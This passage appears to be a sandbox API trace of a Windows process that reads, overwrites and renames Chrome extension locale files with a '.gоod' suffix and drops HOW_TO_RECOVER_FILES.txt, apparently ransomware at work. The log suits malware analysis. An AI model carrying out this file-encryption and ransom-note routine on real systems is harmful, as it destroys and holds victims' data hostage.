nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0226.391] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.391] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0226.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0226.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0226.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0226.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpFilePart=0x0) returned 0x7b [0226.391] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551cd9ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d0100, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551d0100, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0226.391] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551cd9ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d0100, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551d0100, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.391] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551d0100, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d2808, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0226.391] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551d0100, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d2808, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0226.391] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0226.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0226.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0226.392] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0226.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0226.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3845278 | out: lpFileInformation=0x3845278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551d0100, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d2808, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x101)) returned 1 [0226.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0226.392] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0226.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0226.392] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0226.392] GetFileType (hFile=0x860) returned 0x1 [0226.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0226.392] GetFileType (hFile=0x860) returned 0x1 [0226.392] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x101 [0226.392] ReadFile (in: hFile=0x860, lpBuffer=0x3845738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3845738*, lpNumberOfBytesRead=0x1f6e7648*=0x101, lpOverlapped=0x0) returned 1 [0226.393] CloseHandle (hObject=0x860) returned 1 [0226.488] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0226.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0226.488] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.489] GetFileType (hFile=0x828) returned 0x1 [0226.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0226.489] GetFileType (hFile=0x828) returned 0x1 [0226.489] WriteFile (in: hFile=0x828, lpBuffer=0x36aabe8*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x36aabe8*, lpNumberOfBytesWritten=0x1f6e7558*=0x110, lpOverlapped=0x0) returned 1 [0226.490] CloseHandle (hObject=0x828) returned 1 [0226.490] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0226.490] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0226.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0226.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551d0100, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d2808, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8335cf82, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0226.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0226.490] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.gоod")) returned 1 [0226.491] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0226.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0226.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0226.492] GetFileType (hFile=0x828) returned 0x1 [0226.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0226.492] GetFileType (hFile=0x828) returned 0x1 [0226.493] WriteFile (in: hFile=0x828, lpBuffer=0x36ae520*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x36ae520*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0226.493] CloseHandle (hObject=0x828) returned 1 [0226.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0226.494] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpFilePart=0x0) returned 0x7b [0226.494] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551dc455, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551deb68, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551deb68, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0226.494] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551dc455, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551deb68, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551deb68, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.494] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551deb68, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551e1268, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0226.494] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.495] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0226.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0226.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0226.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0226.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpFilePart=0x0) returned 0x7b [0226.703] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551dc455, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551deb68, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551deb68, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0226.703] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551dc455, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551deb68, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551deb68, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.704] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551deb68, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551e1268, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0226.704] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551deb68, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551e1268, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0226.704] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0226.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0226.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0226.704] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0226.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0226.704] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39c0fa8 | out: lpFileInformation=0x39c0fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551deb68, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551e1268, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0226.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0226.705] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0226.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0226.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.705] GetFileType (hFile=0x828) returned 0x1 [0226.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0226.705] GetFileType (hFile=0x828) returned 0x1 [0226.705] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x110 [0226.705] ReadFile (in: hFile=0x828, lpBuffer=0x39c1470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x39c1470*, lpNumberOfBytesRead=0x1f6e7648*=0x110, lpOverlapped=0x0) returned 1 [0226.706] CloseHandle (hObject=0x828) returned 1 [0226.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0226.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0226.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0226.874] GetFileType (hFile=0x630) returned 0x1 [0226.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0226.875] GetFileType (hFile=0x630) returned 0x1 [0226.875] WriteFile (in: hFile=0x630, lpBuffer=0x375d918*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x375d918*, lpNumberOfBytesWritten=0x1f6e7558*=0x120, lpOverlapped=0x0) returned 1 [0226.875] CloseHandle (hObject=0x630) returned 1 [0226.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0226.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0226.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0226.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551deb68, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551e1268, 